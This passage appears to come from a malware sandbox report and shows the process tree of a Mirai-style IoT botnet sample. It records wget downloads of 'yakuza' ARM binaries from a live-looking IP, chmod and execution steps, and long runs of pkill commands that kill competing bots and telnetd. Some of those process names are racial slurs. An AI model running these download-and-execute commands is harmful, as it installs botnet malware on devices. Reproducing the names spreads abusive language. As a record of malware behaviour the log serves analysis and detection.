  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:1699
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:1705
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      Reads runtime system information
      PID:1706
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:1708
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:1719
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      Reads runtime system information
      PID:1720
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:1721
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:1731
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      PID:1732
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:1733
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:1743
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1744
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1745
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:1755
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1756
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:1757
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:1766
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      PID:1767
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:1769
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:1778
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      Reads runtime system information
      PID:1779
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:1781
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:1790
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      Reads runtime system information
      PID:1791
  - - /bin/busybox
      busybox pkill -9 6ke3
      4⤵
      PID:1793
- - /bin/sh
    sh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"
    3⤵
    PID:1802
  - - /usr/bin/pkill
      pkill -9 TOKYO3
      4⤵
      PID:1803
  - - /bin/busybox
      busybox pkill -9 TOKYO3
      4⤵
      PID:1805
- - /bin/sh
    sh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"
    3⤵
    PID:1813
  - - /usr/bin/pkill
      pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:1815
  - - /bin/busybox
      busybox pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:1819
- /bin/rm
  rm -rf yakuza.arm4
  2⤵
  PID:806
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm5
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod +x yakuza.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/yakuza.arm5
  ./yakuza.arm5
  2⤵
  PID:826
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:832
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      PID:834
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:839
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:853
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      PID:856
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:860
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:871
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      PID:873
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:878
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:884
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      PID:887
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:892
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:898
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      PID:901
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:906
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:913
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      Reads CPU attributes
      PID:916
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:917
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:923
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:927
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:931
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:935
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      PID:936
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:943
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:947
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      Reads CPU attributes
      PID:948
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:954
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:959
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      PID:960
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:961
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:971
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      PID:972
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:976
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:985
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      PID:986
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:989
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:994
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      PID:997
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:1001
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:1008
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1010
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1016
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:1022
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      PID:1023
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:1029
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:1035
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      PID:1039
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:1041
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:1048
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      Reads runtime system information
      PID:1050
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:1054
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:1061
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      PID:1062
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:1069
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:1075
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      PID:1076
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:1079
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:1087
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      Reads CPU attributes
      PID:1088
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:1089
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:1099
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      PID:1100
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:1101
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:1111
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      Reads CPU attributes
      PID:1112
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:1113
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1123
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1124
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1125
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:1134
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      Reads runtime system information
      PID:1135
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:1137
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:1146
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      Reads CPU attributes
      PID:1147
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:1151
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:1159
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      PID:1160
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:1162
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:1170
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      PID:1173
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:1177
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:1183
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      PID:1186
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:1189
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:1196
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      PID:1198
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:1203
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:1209
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:1210
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:1215
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:1221
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      Reads runtime system information
      PID:1222
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1227
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:1233
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      PID:1234
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:1235
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:1245
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      Reads CPU attributes
      PID:1246
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:1247
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:1257
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      PID:1258
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:1261
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:1268
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      PID:1270
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:1273
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:1280
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      PID:1282
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1287
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1291
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      Reads runtime system information
      PID:1295
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1300
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1305
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      PID:1308
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1310
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1316
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      Reads CPU attributes
      PID:1319
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1322
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1332
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      PID:1334
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1340
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1346
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      Reads CPU attributes
      PID:1347
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1352
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1359
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      Reads runtime system information
      PID:1361
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1364
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1372
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      PID:1373
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1376
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1384
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1385
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1388
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1396
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      PID:1397
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1400
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1408
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      PID:1409
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1410
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:1420
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      Reads CPU attributes
      PID:1421
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:1424
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:1434
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:1435
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:1436
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:1446
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1447
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1448
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:1457
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      PID:1459
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:1460
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:1469
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1470
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:1474
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:1482
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      PID:1483
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:1485
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:1494
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      PID:1495
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:1498
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:1506
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      Reads runtime system information
      PID:1507
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:1510
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:1518
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      PID:1519
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:1522
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1532
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:1533
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1536
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:1544
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      PID:1545
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:1548
- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:1556
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      PID:1557
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:1560
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:1568
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      Reads runtime system information
      PID:1569
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:1572
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:1580
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      PID:1581
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:1583
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:1592
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:1593
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:1595
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:1604
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:1605
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:1606
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:1614
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      PID:1615
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:1620
- - /bin/sh
    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:1628
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      PID:1629
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:1634
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:1641
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1644
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1646
- - /bin/sh
    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:1654
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      PID:1656
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:1661
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:1668
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      PID:1669
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:1673
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:1680
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      PID:1682
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:1688
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:1695
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      PID:1696
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:1700
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:1707
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      Reads CPU attributes
      PID:1710
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:1712
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:1722
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      PID:1723
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:1726
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:1734
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      PID:1736
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:1739
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:1746
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      PID:1747
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:1750
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:1758
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      Reads runtime system information
      PID:1759
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:1760
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:1770
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1771
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1772
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:1782
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      Reads runtime system information
      PID:1783
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:1784
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:1794
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      Reads CPU attributes
      PID:1795
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:1796
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:1806
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      PID:1807
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:1808
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:1816
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      PID:1817
- /bin/rm
  rm -rf yakuza.arm5
  2⤵
  PID:829
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm7
  2⤵
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod +x yakuza.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/yakuza.arm7
  ./yakuza.arm7
  2⤵
  PID:845
- - /bin/sh
    /bin/sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:850
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      PID:852
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:858
- - /bin/sh
    /bin/sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:867
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      PID:868
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:869
- - /bin/sh
    /bin/sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:879
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      Reads CPU attributes
      PID:880
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:881
- - /bin/sh
    /bin/sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:888
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      PID:890
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:893
- - /bin/sh
    /bin/sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:902
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      PID:903
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:907
- - /bin/sh
    /bin/sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:914
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:915
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:919
- - /bin/sh
    /bin/sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:925
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:928
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:933
- - /bin/sh
    /bin/sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:938
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      PID:940
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:945
- - /bin/sh
    /bin/sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:951
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      Reads runtime system information
      PID:953
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:957
